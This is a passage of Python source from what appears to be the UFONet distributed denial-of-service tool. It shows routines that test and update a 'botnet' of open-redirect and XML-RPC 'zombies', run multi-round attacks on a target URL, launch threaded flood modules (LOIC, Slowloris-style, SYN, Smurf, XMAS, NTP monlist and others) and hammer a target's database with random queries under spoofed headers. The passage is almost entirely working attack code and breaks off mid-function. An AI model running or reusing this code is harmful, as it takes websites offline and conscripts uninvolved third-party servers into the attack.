  4077. print("OK:", num_active_rpcs, "Fail:", num_failed_rpcs)
  4078. print('='*18)
  4079. if self.options.testall: # testing_all
  4080. return rpcs_ready, num_active_rpcs, num_failed_rpcs
  4081. else:
  4082. # update 'rpcs' list
  4083. if num_active_rpcs == 0:
  4084. print("\n[Info] [X-RPCs] Not any vulnerable 'XML-RPC' active!\n")
  4085. return
  4086. else:
  4087. if not self.options.forceyes:
  4088. update_reply = input("[AI] Do you want to update your army? (Y/n)")
  4089. print('-'*25)
  4090. else:
  4091. update_reply = "Y"
  4092. if update_reply == "n" or update_reply == "N":
  4093. print("[AI] "+self.exit_msg+"\n")
  4094. return
  4095. else:
  4096. self.update_rpcs(rpcs_ready)
  4097. if not self.options.upload:
  4098. print("\n[Info] [AI] Botnet updated! -> ;-)\n")
  4099. def testing(self, zombies):
  4100. # test Open Redirect exploiting and show statistics
  4101. # HTTP HEAD check
  4102. army = 0
  4103. print ("Are 'they' alive? :-) (HEAD Check):")
  4104. print('='*35)
  4105. num_active_zombies = 0
  4106. num_failed_zombies = 0
  4107. active_zombies = []
  4108. print("Trying:", len(zombies))
  4109. print('-'*21)
  4110. for zombie in zombies:
  4111. zombie = str(zombie)
  4112. if zombie.startswith("http://") or zombie.startswith("https://"):
  4113. # send HEAD connection
  4114. self.head = True
  4115. try:
  4116. self.connect_zombies(zombie)
  4117. except:
  4118. pass
  4119. while self.herd.no_more_zombies() == False:
  4120. time.sleep(1)
  4121. for zombie in self.herd.done:
  4122. zombie = str(zombie)
  4123. t = urlparse(zombie)
  4124. if self.herd.get_result(zombie):
  4125. code_reply = self.herd.get_result(zombie)
  4126. self.head = False
  4127. if code_reply == "200" or code_reply == "302" or code_reply == "301": # HEAD check pass!
  4128. name_zombie = t.netloc
  4129. if name_zombie == "":
  4130. name_zombie = zombie
  4131. print("Zombie:", name_zombie)
  4132. print("Status: OK ["+ code_reply + "]")
  4133. num_active_zombies = num_active_zombies + 1
  4134. active_zombies.append(zombie)
  4135. elif code_reply == "401":
  4136. print("Zombie:", t.netloc)
  4137. print("Status: Unauthorized ["+ code_reply + "]")
  4138. num_failed_zombies = num_failed_zombies + 1
  4139. elif code_reply == "403":
  4140. print("Zombie:", t.netloc)
  4141. print("Status: Error Forbidden ["+ code_reply + "]")
  4142. num_failed_zombies = num_failed_zombies + 1
  4143. elif code_reply == "404":
  4144. print("Zombie:", t.netloc)
  4145. print("Status: Not Found ["+ code_reply + "]")
  4146. num_failed_zombies = num_failed_zombies + 1
  4147. elif code_reply == "500":
  4148. print("Zombie:", t.netloc)
  4149. print("Status: Internal Server Error ["+ code_reply + "]")
  4150. num_failed_zombies = num_failed_zombies + 1
  4151. else:
  4152. print("Zombie:", t.netloc, "\nVector:", zombie)
  4153. print("Status: Not Allowed ["+ code_reply + "]")
  4154. num_failed_zombies = num_failed_zombies + 1
  4155. else:
  4156. if self.options.verbose:
  4157. print("[Info] [Zombies] Reply:", "\n\nNothing!!!!!\n")
  4158. print("Zombie:", zombie)
  4159. print("Status: Malformed!")
  4160. num_failed_zombies = num_failed_zombies + 1
  4161. print('-'*10)
  4162. self.herd.reset()
  4163. print('='*18)
  4164. print("OK:", num_active_zombies, "Fail:", num_failed_zombies)
  4165. print('='*18 + "\n")
  4166. print('='*22)
  4167. if num_active_zombies > 0:
  4168. # check url parameter vectors
  4169. print ("Checking for payloads:")
  4170. print('='*22)
  4171. print("Trying:", num_active_zombies)
  4172. print('-'*21)
  4173. zombies_ready = []
  4174. num_waiting_zombies = 0
  4175. if num_active_zombies == 0:
  4176. num_disconnected_zombies = num_failed_zombies
  4177. else:
  4178. num_disconnected_zombies = 0
  4179. for zombie in active_zombies:
  4180. zombie = str(zombie)
  4181. t = urlparse(zombie)
  4182. name_zombie = t.netloc
  4183. if name_zombie == "":
  4184. name_zombie = zombie
  4185. self.payload = True
  4186. try:
  4187. self.connect_zombies(zombie)
  4188. except:
  4189. pass
  4190. self.payload = False
  4191. while self.herd.no_more_zombies() == False:
  4192. time.sleep(1)
  4193. for zombie in self.herd.done:
  4194. zombie = str(zombie)
  4195. t = urlparse(zombie)
  4196. name_zombie = t.netloc
  4197. if name_zombie == "":
  4198. name_zombie = zombie
  4199. payload_zombie = zombie
  4200. payload_reply = ""
  4201. print("Vector:", payload_zombie)
  4202. self.payload = True
  4203. if self.herd.get_result(zombie):
  4204. payload_reply = self.herd.get_result(zombie)
  4205. self.payload = False
  4206. if "https://www.whitehouse.gov" in payload_reply: #Open Redirect reply [requested by all UFONet motherships ;-)]
  4207. num_waiting_zombies = num_waiting_zombies + 1
  4208. print("Status:", "Waiting for orders... ;-)")
  4209. zombies_ready.append(zombie)
  4210. else:
  4211. num_disconnected_zombies = num_disconnected_zombies + 1
  4212. print("Status:", "Not ready...")
  4213. army = army + 1
  4214. print('-'*10)
  4215. self.herd.reset()
  4216. print('='*18)
  4217. print("OK:", num_waiting_zombies, "Fail:", num_disconnected_zombies)
  4218. print('='*18 + "\n")
  4219. # list of [Zombies] ready to attack
  4220. num_active_zombie = 0
  4221. for z in zombies_ready:
  4222. t = urlparse(z)
  4223. name_zombie = t.netloc
  4224. if name_zombie == "":
  4225. name_zombie = z
  4226. num_active_zombie = num_active_zombie + 1
  4227. if self.options.verbose:
  4228. print("Zombie [", num_active_zombie, "]:", name_zombie + "\n")
  4229. if self.options.testall: # testing_all
  4230. return zombies_ready, num_waiting_zombies, num_disconnected_zombies + num_failed_zombies
  4231. else:
  4232. print('-'*25 + "\n")
  4233. print('='*24)
  4234. print("Working [Zombies]:", num_active_zombie)
  4235. print('='*24)
  4236. if not self.options.forceyes:
  4237. update_reply = input("\n[AI] Do you want to update your army? (Y/n)")
  4238. print('-'*25)
  4239. else:
  4240. update_reply = "Y"
  4241. if update_reply == "n" or update_reply == "N":
  4242. print("[AI] "+self.exit_msg+"\n")
  4243. return
  4244. else:
  4245. self.update_zombies(zombies_ready)
  4246. if not self.options.upload:
  4247. print("\n[Info] [AI] Botnet updated! -> ;-)\n")
  4248. self.update_scanner_stats(self.scanned_zombies) # update json file with scanner stats (found via dorking)
  4249. else:
  4250. print('-'*25 + "\n")
  4251. print('='*24)
  4252. print("Working [Zombies]:", num_active_zombies)
  4253. print('='*24)
  4254. print("\n[Info] [AI] [Zombies] aren't replying to your HTTP HEAD requests! -> [Exiting!]\n")
  4255. def testing_all(self):
  4256. # test whole botnet
  4257. print ("\nChecking if [Zombies] are still infected (WARNING: this may take serveral time!)\n")
  4258. print('='*35)
  4259. zombies = self.extract_zombies()
  4260. rpcs = self.extract_rpcs()
  4261. aliens = self.extract_aliens()
  4262. droids = self.extract_droids()
  4263. ucavs = self.extract_ucavs()
  4264. try:
  4265. botnet = zombies + rpcs + aliens + droids + ucavs
  4266. tested_zombies = zombies + rpcs # test types supported: zombies + xml-rpcs
  4267. except:
  4268. return
  4269. zombies_ready, num_waiting_zombies, num_disconnected_zombies = self.testing(zombies)
  4270. rpcs_ready, num_active_rpcs, num_failed_rpcs = self.testing_rpcs(rpcs)
  4271. print("\n" + '='*52)
  4272. print("\n+ Total Botnet:", len(botnet))
  4273. print("\n" + '-'*25)
  4274. print("\n+ Total Tested:", len(tested_zombies))
  4275. print("\n - Zombies :", len(zombies), " [ OK:", str(num_waiting_zombies), "| FAILED:", str(num_disconnected_zombies), "]")
  4276. print(" - XML-RPCs:", len(rpcs), " [ OK:", str(num_active_rpcs), "| FAILED:", str(num_failed_rpcs), "]" + "\n")
  4277. print('='*52 + '\n')
  4278. if num_disconnected_zombies > 0 or num_failed_rpcs > 0:
  4279. if not self.options.forceyes:
  4280. update_reply = input("[AI] Do you want update your army? (Y/n)")
  4281. print('-'*25)
  4282. else:
  4283. update_reply = "Y"
  4284. if update_reply == "n" or update_reply == "N":
  4285. print("[AI] "+self.exit_msg+"\n")
  4286. return
  4287. else:
  4288. if num_disconnected_zombies > 0:
  4289. self.update_zombies(zombies_ready)
  4290. if num_failed_rpcs > 0:
  4291. self.update_rpcs(rpcs_ready)
  4292. if not self.options.upload:
  4293. print("\n[Info] [AI] Botnet updated! -> ;-)\n")
  4294. else:
  4295. print("[Info] [AI] [Control] ALL tested [Zombies] are working! ;-) -> [Exiting!]\n")
  4296. def attacking(self, zombies, target):
  4297. # perform a DDoS Web attack using Open Redirect vectors (and other Web Abuse services) as [Zombies]
  4298. if self.options.forcessl:
  4299. if target.startswith("http://"):
  4300. target = target.replace("http://", "https://") # force SSL/TLS
  4301. if target.startswith("http://") or target.startswith("https://"):
  4302. print("Attacking:", target)
  4303. print('='*55, "\n")
  4304. # send Open Redirect injection (multiple zombies > one target url)
  4305. reply = self.injection(target, zombies)
  4306. else:
  4307. print("\n[Error] [AI] Target not valid: "+target+" -> [Discarding!]\n")
  4308. def aiming_extra_weapons(self, target, proxy, loic, loris, ufosyn, spray, smurf, xmas, nuke, tachyon, monlist):
  4309. # perform some other extra attacks (such as DoS techniques)
  4310. time.sleep(2) # aiming (multi-threading flow time compensation)
  4311. if loic:
  4312. try:
  4313. self.options.loic = int(loic)
  4314. except:
  4315. self.options.loic = 100 # default LOIC requests
  4316. if self.options.loic < 1:
  4317. self.options.loic = 100
  4318. self.instance = LOIC() # instance main class for LOIC operations
  4319. self.t1 = threading.Thread(target=self.instance.attacking, args=(target, self.options.loic, proxy)) # LOIC using threads + proxy
  4320. self.t1.daemon = True # extra weapons are threaded as daemons
  4321. self.t1.start()
  4322. self.update_loic_stats() # add new LOIC attack to mothership stats
  4323. if loris:
  4324. try:
  4325. self.options.loris = int(loris)
  4326. except:
  4327. self.options.loris = 101 # default LORIS requests (apache -> max_clients: ~100 | nginx -> no limit (other method))
  4328. if self.options.loris < 1:
  4329. self.options.loris = 101
  4330. self.instance = LORIS() # instance main class for LORIS operations
  4331. self.t2 = threading.Thread(target=self.instance.attacking, args=(target, self.options.loris)) # LORIS using threads
  4332. self.t2.daemon = True
  4333. self.t2.start()
  4334. self.update_loris_stats() # add new LORIS attack to mothership stats
  4335. if ufosyn:
  4336. try:
  4337. self.options.ufosyn = int(ufosyn)
  4338. except:
  4339. self.options.ufosyn = 100 # default UFOSYN requests
  4340. if self.options.ufosyn < 1:
  4341. self.options.ufosyn = 100
  4342. self.instance = UFOSYN() # instance main class for UFOSYN operations
  4343. self.t3 = threading.Thread(target=self.instance.attacking, args=(target, self.options.ufosyn)) # UFOSYN using threads
  4344. self.t3.daemon = True
  4345. self.t3.start()
  4346. self.update_ufosyn_stats() # add new UFOSYN attack to mothership stats
  4347. if spray:
  4348. try:
  4349. self.options.spray = int(spray)
  4350. except:
  4351. self.options.spray = 100 # default SPRAY requests
  4352. if self.options.spray < 1:
  4353. self.options.spray = 100
  4354. self.instance = SPRAY() # instance main class for SPRAY operations
  4355. self.t4 = threading.Thread(target=self.instance.attacking, args=(target, self.options.spray)) # SPRAY using threads
  4356. self.t4.daemon = True
  4357. self.t4.start()
  4358. self.update_spray_stats() # add new SPRAY attack to mothership stats
  4359. if smurf:
  4360. try:
  4361. self.options.smurf = int(smurf)
  4362. except:
  4363. self.options.smurf = 101 # default SMURF requests
  4364. if self.options.smurf < 1:
  4365. self.options.smurf = 101
  4366. self.instance = SMURF() # instance main class for SMURF operations
  4367. self.t5 = threading.Thread(target=self.instance.attacking, args=(target, self.options.smurf)) # SMURF using threads
  4368. self.t5.daemon = True
  4369. self.t5.start()
  4370. self.update_smurf_stats() # add new SMURF attack to mothership stats
  4371. if xmas:
  4372. try:
  4373. self.options.xmas = int(xmas)
  4374. except:
  4375. self.options.xmas = 101 # default XMAS requests
  4376. if self.options.xmas < 1:
  4377. self.options.xmas = 101
  4378. self.instance = XMAS() # instance main class for XMAS operations
  4379. self.t6 = threading.Thread(target=self.instance.attacking, args=(target, self.options.xmas)) # XMAS using threads
  4380. self.t6.daemon = True
  4381. self.t6.start()
  4382. self.update_xmas_stats() # add new XMAS attack to mothership stats
  4383. if nuke:
  4384. if sys.platform == "linux" or sys.platform == "linux2":
  4385. try:
  4386. self.options.nuke = int(nuke)
  4387. except:
  4388. self.options.nuke = 10000 # default NUKE requests
  4389. if self.options.nuke < 1:
  4390. self.options.nuke = 10000
  4391. self.instance = NUKE() # instance main class for NUKE operations
  4392. self.t7 = threading.Thread(target=self.instance.attacking, args=(target, self.options.nuke)) # NUKE using threads
  4393. self.t7.daemon = True # extra weapons are threaded as daemons
  4394. self.t7.start()
  4395. self.update_nuke_stats() # add new NUKE attack to mothership stats
  4396. else:
  4397. print("\n[Info] [AI] Your OS cannot perform this attack... -> [Passing!]\n")
  4398. if tachyon:
  4399. try:
  4400. self.options.tachyon = int(tachyon)
  4401. except:
  4402. self.options.tachyon = 1000 # default TACHYON requests
  4403. if self.options.tachyon < 1:
  4404. self.options.tachyon = 1000
  4405. self.instance = TACHYON() # instance main class for TACHYON operations
  4406. self.t8 = threading.Thread(target=self.instance.attacking, args=(target, self.options.tachyon)) # TACHYON using threads
  4407. self.t8.daemon = True
  4408. self.t8.start()
  4409. self.update_tachyon_stats() # add new TACHYON attack to mothership stats
  4410. if monlist:
  4411. try:
  4412. self.options.monlist = int(monlist)
  4413. except:
  4414. self.options.monlist = 1000 # default MONLIST requests
  4415. if self.options.monlist < 1:
  4416. self.options.monlist = 1000
  4417. self.instance = MONLIST() # instance main class for MONLIST operations
  4418. self.t9 = threading.Thread(target=self.instance.attacking, args=(target, self.options.monlist)) # MONLIST using threads
  4419. self.t9.daemon = True
  4420. self.t9.start()
  4421. self.update_monlist_stats() # add new MONLIST attack to mothership stats
  4422. def stressing(self, target, zombie):
  4423. # perform a DDoS Web attack against a target, requesting records on target's database
  4424. options = self.options
  4425. db_input = self.options.dbstress
  4426. def random_key(length):
  4427. key = ''
  4428. for i in range(length):
  4429. key += random.choice(string.ascii_lowercase + string.ascii_uppercase + string.digits)
  4430. return key
  4431. # generating random alphanumeric queries
  4432. if self.db_flash > 9: # set db flash start on: 10
  4433. length = 1024 # search a heavy random length query (db flash): 1024
  4434. self.db_flash = 0 # reset db flash counter
  4435. else:
  4436. length = 1 # search for one different (alphanumeric) character each time will produces more positive results on db
  4437. key = str(random_key(length))
  4438. if self.db_flash > 9:
  4439. print("[Info] [DBStress] Trying database request to: " + db_input + " | Query used: db flash! " + "(" + str(length) + " chars)")
  4440. else:
  4441. print("[Info] [DBStress] Trying database request to: " + db_input + " | Query used: " + key)
  4442. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  4443. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  4444. if not target.endswith('/'): # add "/" to end of target
  4445. target = target + "/"
  4446. url = zombie + target + db_input + key
  4447. req = urllib.request.Request(url, None, headers)
  4448. if options.proxy: # set proxy
  4449. self.proxy_transport(options.proxy)
  4450. try:
  4451. req_reply = urllib.request.urlopen(req, context=self.ctx).read().decode('utf-8')
  4452. except urllib.error.HTTPError as e:
  4453. if e.code == 401:
  4454. print('[Info] [DBStress] Not authorized')
  4455. elif e.code == 404:
  4456. print('[Info] [DBStress] Not found')
  4457. elif e.code == 503:
  4458. print('[Info] [DBStress] Service unavailable')
  4459. else:
  4460. print('[Info] [DBStress] Unknown error')
  4461. else:
  4462. print('[Info] [DBStress] Database query: HIT!')
  4463. def attackme(self, zombies):
  4464. # perform a DDoS Web attack against yourself
  4465. print("[AI] Starting local port to listening at: " + self.port + "\n")
  4466. print('='*21 + "\n")
  4467. self.doll=Doll(self)
  4468. self.doll.start()
  4469. while not self.doll._armed:
  4470. time.sleep(1)
  4471. # send Open Redirect injection (multiple zombies-multiple target urls)
  4472. target = ""
  4473. self.injection(target, zombies)
  4474. self.doll.shutdown()
  4475. self.doll.join()
  4476. self.herd.list_fails()
  4477. def check_target_status(self):
  4478. if self.num_is_down > 0 and self.num_is_up == 0: # check for: 1 or more down, 0 up
  4479. print("\n[Info] [AI] Congratulations!! -> [Target looks OFFLINE!]\n")
  4480. if not self.options.forceyes:
  4481. update_reply = input("[AI] Do you want to send a [HEAD] check request? (y/N)")
  4482. print("\n" + '-'*25)
  4483. else:
  4484. update_reply = "N"
  4485. if update_reply == "y" or update_reply == "Y":
  4486. try: # send HEAD connection
  4487. self.head = True
  4488. reply = self.connect_zombie(target)
  4489. self.head = False
  4490. if reply:
  4491. print("\n[Info] [AI] [Control] Target has replied you! -> [Keep shooting!]\n")
  4492. else:
  4493. print("\n[Info] [AI] " + target + " -> [TANGO DOWN!!!]\n")
  4494. self.update_targets_crashed() # update targets crashed stats
  4495. self.update_mothership_stats() # update mothership completed attack stats
  4496. except Exception:
  4497. print("\n[Error] [AI] Something wrong with your connection!...\n")
  4498. if DEBUG == True:
  4499. traceback.print_exc()
  4500. return
  4501. else:
  4502. print("\n[Info] [AI] " + target + " -> [TANGO DOWN!!!]\n")
  4503. self.update_targets_crashed() # update targets crashed stats
  4504. self.update_mothership_stats() # update mothership completed attack stats
  4505. return
  4506. def starting_target_check(self, target, head_check):
  4507. options = self.options
  4508. head_check_here = False
  4509. head_check_external = False
  4510. if options.disablehead: # check at start is disabled (skipping!)
  4511. print("[Info] [AI] Skipping external check...\n")
  4512. head_check_here = True
  4513. head_check_external = True
  4514. else:
  4515. if head_check:
  4516. if not options.attackme:
  4517. print("[AI] Launching: 'Is target up?' check...\n")
  4518. try: # send HEAD connection
  4519. self.head = True
  4520. reply = self.connect_zombie(target)
  4521. self.head = False
  4522. if reply:
  4523. print("[Info] [AI] [Control] From YOU: YES -> ["+str(reply)+"-OK]")
  4524. head_check_here = True
  4525. else:
  4526. print("[Info] [AI] [Control] From YOU: NO -> [Target looks OFFLINE!]")
  4527. head_check_here = False
  4528. except Exception:
  4529. print("[Error] [AI] [Control] From YOU: NO -> [Cannot connect!]")
  4530. if DEBUG == True:
  4531. traceback.print_exc()
  4532. head_check_here = False
  4533. else: # check if local IP/PORT is listening on mothership
  4534. print("[AI] Launching: 'Is NAT ready?' check...\n")
  4535. try:
  4536. sock = socket.socket(socket.AF_INET6, socket.SOCK_STREAM)
  4537. result = sock.connect_ex(('0.0.0.0',8080))
  4538. if result == 0 or result == 110: # black magic
  4539. print("[Info] [AI] [Control] Local port: YES | Mothership accesible from -private- IP: http://0.0.0.0:8080")
  4540. head_check_here = True
  4541. else:
  4542. print("[Info] [AI] [Control] Local port: NO | Something goes wrong with your port: 8080")
  4543. head_check_here = False
  4544. except Exception:
  4545. print("[Error] [AI] [Control] Local port: NO | Something wrong checking for open ports...")
  4546. if DEBUG == True:
  4547. traceback.print_exc()
  4548. head_check_here = False
  4549. else:
  4550. head_check_here = True
  4551. # check target using external check services
  4552. self.external = True
  4553. if not options.attackme:
  4554. try:
  4555. target = self.parse_url_encoding(target) # parse for proper url encoding
  4556. try:
  4557. url = self.external_check_service1 + target # check from external service [1]
  4558. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  4559. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  4560. if options.proxy: # set proxy
  4561. self.proxy_transport(options.proxy)
  4562. req = urllib.request.Request(url, None, headers)
  4563. external_reply = urllib.request.urlopen(req, context=self.ctx).read()
  4564. if b"returned code 200 OK and is up" in external_reply:
  4565. t = urlparse(self.external_check_service1)
  4566. name_external1 = t.netloc
  4567. print("[Info] [AI] [Control] From OTHERS: YES -> ["+name_external1+"]")
  4568. head_check_external = True
  4569. except:
  4570. url = self.external_check_service2 + target # check from external service [2]
  4571. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  4572. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  4573. if options.proxy: # set proxy
  4574. self.proxy_transport(options.proxy)
  4575. req = urllib.request.Request(url, None, headers)
  4576. try:
  4577. req_reply = urllib.request.urlopen(req, context=self.ctx).read()
  4578. if b"It's just you" in req_reply:
  4579. t = urlparse(self.external_check_service2)
  4580. name_external2 = t.netloc
  4581. print("[Info] [AI] [Control] From OTHERS: YES -> ["+name_external2+"]")
  4582. head_check_external = True
  4583. else:
  4584. print("[Info] [AI] [Control] From OTHERS: NO -> [Target looks OFFLINE!]")
  4585. head_check_external = False
  4586. except urllib.error.HTTPError as e:
  4587. if e:
  4588. print("[Error] [AI] [Control] [ "+ self.external_check_service2 +" ] isn't replying to your requests! -> [Passing!]")
  4589. print ("[Info] [AI] [Control] From OTHERS: NO -> [Target looks OFFLINE!]")
  4590. head_check_external = False
  4591. except Exception:
  4592. print("[Error] [AI] [Control] From OTHERS: NO -> [Cannot connect!]")
  4593. if DEBUG == True:
  4594. traceback.print_exc()
  4595. head_check_external = False
  4596. else:
  4597. try: # check mothership from public ip / NAT using HEAD request
  4598. try:
  4599. req = urllib.request.Request(str(self.pub_ip+":8080"), method="HEAD")
  4600. reply = urllib.request.urlopen(req)
  4601. except Exception:
  4602. reply = None
  4603. if reply:
  4604. print("[Info] [AI] [Control] From OTHERS: YES -> [Mothership OK!] -> ["+str(self.pub_ip)+":8080]")
  4605. head_check_external = True
  4606. else:
  4607. print("[Info] [AI] [Control] From OTHERS: NO -> [Cannot connect!] -> [NAT is failing!]")
  4608. head_check_external = False
  4609. head_check_here = False # stop attack if not public IP available
  4610. except Exception:
  4611. print("[Error] [AI] [Control] From OTHERS: NO -> [Check failed!]")
  4612. head_check_here = False # stop attack if not public IP available
  4613. if DEBUG == True:
  4614. traceback.print_exc()
  4615. head_check_external = False
  4616. self.external = False
  4617. return head_check_here, head_check_external
  4618. def injection(self, target, zombies, head_check = True):
  4619. options = self.options
  4620. # check target's integrity at start
  4621. head_check_here, head_check_external = self.starting_target_check(target, head_check)
  4622. # ask user to confirm the attack
  4623. if head_check_here == True or head_check_external == True:
  4624. if not self.options.forceyes:
  4625. if not options.attackme:
  4626. if not options.disablehead:
  4627. start_reply = input("\n[AI] Target is ONLINE!. Do you want to start an attack? (y/N)\n")
  4628. else:
  4629. start_reply = input("[AI] Do you want to start an attack, directly? (y/N)\n")
  4630. else:
  4631. if not options.disablehead:
  4632. start_reply = input("\n[AI] Mothership is READY!. Do you want to start an attack 'against yourself'? (y/N)\n")
  4633. else:
  4634. start_reply = input("[AI] Do you want to start an attack 'against yourself', directly? (y/N)\n")
  4635. else:
  4636. start_reply = "Y"
  4637. if start_reply == "y" or start_reply == "Y":
  4638. if options.attackme:
  4639. total_rounds = 2 # default rounds for attackme
  4640. else:
  4641. total_rounds = options.rounds # extract number of rounds
  4642. try:
  4643. total_rounds = int(total_rounds)
  4644. except:
  4645. total_rounds = 1
  4646. if not total_rounds:
  4647. total_rounds = 1
  4648. if total_rounds <= 0:
  4649. total_rounds = 1
  4650. self.herd.cleanup()
  4651. num_round = 1
  4652. num_hits = 0
  4653. num_zombie = 1
  4654. # start to attack the target with [MODS]
  4655. if options.loic or options.loris or options.ufosyn or options.spray or options.smurf or options.xmas or options.nuke or options.tachyon or options.monlist:
  4656. ex = threading.Thread(target=self.aiming_extra_weapons, args=(target, self.options.proxy, self.options.loic, self.options.loris, self.options.ufosyn, self.options.spray, self.options.smurf, self.options.xmas, self.options.nuke, self.options.tachyon, self.options.monlist)) # multithreading flow for extra attacks
  4657. ex.daemon = True # extra weapons are threaded as daemons
  4658. ex.start()
  4659. # start to attack the target with [ARMY]
  4660. zombies = self.extract_zombies() # extract zombies from file
  4661. if zombies:
  4662. self.total_zombie = len(zombies)
  4663. else:
  4664. self.total_zombie = 0
  4665. return
  4666. self.herd=Herd(self)
  4667. if not self.options.disablepurge:
  4668. self.discardzombies = []
  4669. self.discard_aliens = []
  4670. self.discard_droids = []
  4671. self.discard_rpcs = []
  4672. self.discard_ucavs = []
  4673. total_disc_zombies = 0
  4674. self.num_discard_zombies = 0
  4675. self.num_discard_aliens = 0
  4676. self.num_discard_droids = 0
  4677. self.num_discard_rpcs = 0
  4678. self.num_discard_ucavs = 0
  4679. self.empty_zombies = False
  4680. for i in range(0, int(total_rounds)): # start attacking using rounds
  4681. print ("\x1b[2J\x1b[H")# clear screen (black magic)
  4682. print('='*42)
  4683. print('Starting round:', num_round, ' of ', total_rounds)
  4684. print('='*42)
  4685. self.herd.reset()
  4686. self.extra_zombies_lock = True
  4687. self.total_zombies_failed_connection = 0 # reset failed [Zombies] connection counter each round
  4688. self.send_zombies(zombies) # send [Zombies]
  4689. if not self.options.attackme:
  4690. if not self.options.disablealiens or not self.options.disabledroids or not self.options.disablerpcs or not self.options.disableucavs:
  4691. if self.options.verbose:
  4692. print("[Info] [AI] [Control] All [Zombies] have returned for this round... -> [Waiting!]")
  4693. self.send_extra_zombies() # send [ARMY]
  4694. while self.extra_zombies_lock == True:
  4695. time.sleep(1) # wait for [ARMY] to return
  4696. if self.options.verbose:
  4697. print("\n" + '='*42)
  4698. print("\n[Info] [AI] [Control] Full [ARMY] has returned for this round! -> [Refolding!]")
  4699. else:
  4700. zombies_lock = 0
  4701. if self.options.expire: # set timing for purge
  4702. try:
  4703. timing = int(self.options.expire)
  4704. except:
  4705. timing = self.expire_timing # default timing for purge
  4706. else:
  4707. timing = self.expire_timing # default timing for purge
  4708. if timing < 1:
  4709. timing = self.expire_timing # default timing for purge
  4710. zombies_arrival_timing = timing # timing = trying to control round time for threading flow
  4711. while self.herd.no_more_zombies() == False: # waiting for [Zombies] to return
  4712. zombies_lock = zombies_lock + 1
  4713. if zombies_lock > zombies_arrival_timing: # execute main abandoning routine!
  4714. if self.options.verbose:
  4715. print("[Info] [AI] [Control] Return time set [~"+str(zombies_arrival_timing)+"] for [Zombies] is over! -> [Expiring!]")
  4716. break
  4717. else:
  4718. time.sleep(1)
  4719. if self.options.verbose:
  4720. print("\n" + '='*42)
  4721. print("\n[Info] [AI] [Control] All [Zombies] have returned for this round! -> [Refolding!]")
  4722. if not self.options.attackme and not self.options.disableucavs: # check for target's status returned by [UCAVs]
  4723. self.check_target_status()
  4724. if not self.options.attackme and not self.options.disablepurge: # enable [Zombies] purge round check
  4725. self.abandoning_zombies() # check for abandoning zombies
  4726. for zombie in self.herd.done: # check for num hits
  4727. if self.herd.connection_failed(zombie) == False:
  4728. num_hits = num_hits + 1
  4729. num_zombie = num_zombie + 1
  4730. if num_zombie > self.total_zombie:
  4731. num_zombie = 1
  4732. if not self.options.attackme and not self.options.disablescanner: # perform a broadband test on target
  4733. check_is_loading = self.check_is_loading(target)
  4734. self.herd.dump_html()
  4735. if not self.options.disablepurge:
  4736. if self.empty_zombies == True:
  4737. break # exit routine when not any more zombies
  4738. num_round = num_round + 1
  4739. if self.options.verbose:
  4740. print("\n" + '='*42)
  4741. print("\n[Info] [AI] This battle is over! -> [Reporting!]")
  4742. if self.options.loic: # try to stop daemons/threads for extra weapons
  4743. self.t1.join()
  4744. if self.options.loris:
  4745. self.t2.join()
  4746. if self.options.ufosyn:
  4747. self.t3.join()
  4748. if self.options.spray:
  4749. self.t4.join()
  4750. if self.options.smurf:
  4751. self.t5.join()
  4752. if self.options.xmas:
  4753. self.t6.join()
  4754. if self.options.nuke:
  4755. self.t7.join()
  4756. if self.options.tachyon:
  4757. self.t8.join()
  4758. if self.options.monlist:
  4759. self.t9.join()
  4760. if self.options.target_list:
  4761. self.num_target_list = self.num_target_list - 1 # num_target_list = 0 provokes exit!
  4762. print ("\x1b[2J\x1b[H") # black magic
  4763. if not self.options.attackme: # show herd results
  4764. self.herd.dump()
  4765. else: # show doll results
  4766. print('='*21)
  4767. print("\n[Info] [AI] Mothership transmission...\n")
  4768. num_real_zombies = len(self.doll.real_zombies)
  4769. print("[Info] [AI] Total of [Zombies] that are 100% vulnerable to Open Redirect (CWE-601): " + str(num_real_zombies) + "\n")
  4770. for z in self.doll.real_zombies: # show only alien verified zombies
  4771. for x in z:
  4772. print(" - " + str(x))
  4773. self.herd.dump_html(True) # show (all) zombies statistics
  4774. if not self.options.attackme:
  4775. if not self.options.disablepurge:
  4776. print("\n[Info] [AI] Report completed! -> [Purging!]\n")
  4777. else:
  4778. if not options.target_list:
  4779. print("\n[Info] [AI] Report completed! -> [Exiting!]\n")
  4780. else:
  4781. print("\n[Info] [AI] Report completed! -> [OK!]\n")
  4782. self.update_mothership_stats() # update mothership stats
  4783. if not self.options.disablepurge:
  4784. print('='*21+ "\n")
  4785. total_disc_zombies = self.num_discard_zombies + self.num_discard_aliens + self.num_discard_droids + self.num_discard_rpcs + self.num_discard_ucavs
  4786. if total_disc_zombies > 0 and total_disc_zombies < 2:
  4787. print("[Info] [AI] [Control] You have [" + str(total_disc_zombies) + "] unit that isn't working as expected...\n")
  4788. elif total_disc_zombies > 1:
  4789. print("[Info] [AI] [Control] You have [" + str(total_disc_zombies) + "] units that aren't working as expected...\n")
  4790. if self.num_discard_zombies > 0:
  4791. print(" + Zombies: ["+ str(self.num_discard_zombies)+"]")
  4792. if self.num_discard_aliens > 0:
  4793. print(" + Aliens : ["+ str(self.num_discard_aliens)+"]")
  4794. if self.num_discard_droids > 0:
  4795. print(" + Droids : ["+ str(self.num_discard_droids)+"]")
  4796. if self.num_discard_rpcs > 0:
  4797. print(" + X-RPCs : ["+ str(self.num_discard_rpcs)+"]")
  4798. if self.num_discard_ucavs > 0:
  4799. print(" + UCAVs : ["+ str(self.num_discard_ucavs)+"]")
  4800. if total_disc_zombies > 0:
  4801. if not self.options.forceyes:
  4802. if total_disc_zombies > 0 and total_disc_zombies < 2:
  4803. backup_reply = input("\n[AI] Do you want to purge it from your files? (Y/n)\n")
  4804. elif total_disc_zombies > 1:
  4805. backup_reply = input("\n[AI] Do you want to purge them from your files? (Y/n)\n")
  4806. else:
  4807. backup_reply = "Y"
  4808. if backup_reply == "y" or backup_reply == "Y":
  4809. print("\n[Info] [AI] Purging failed units from files...\n")
  4810. discarded = []
  4811. if self.num_discard_zombies > 0:
  4812. for z in self.discardzombies:
  4813. discarded.append(z)
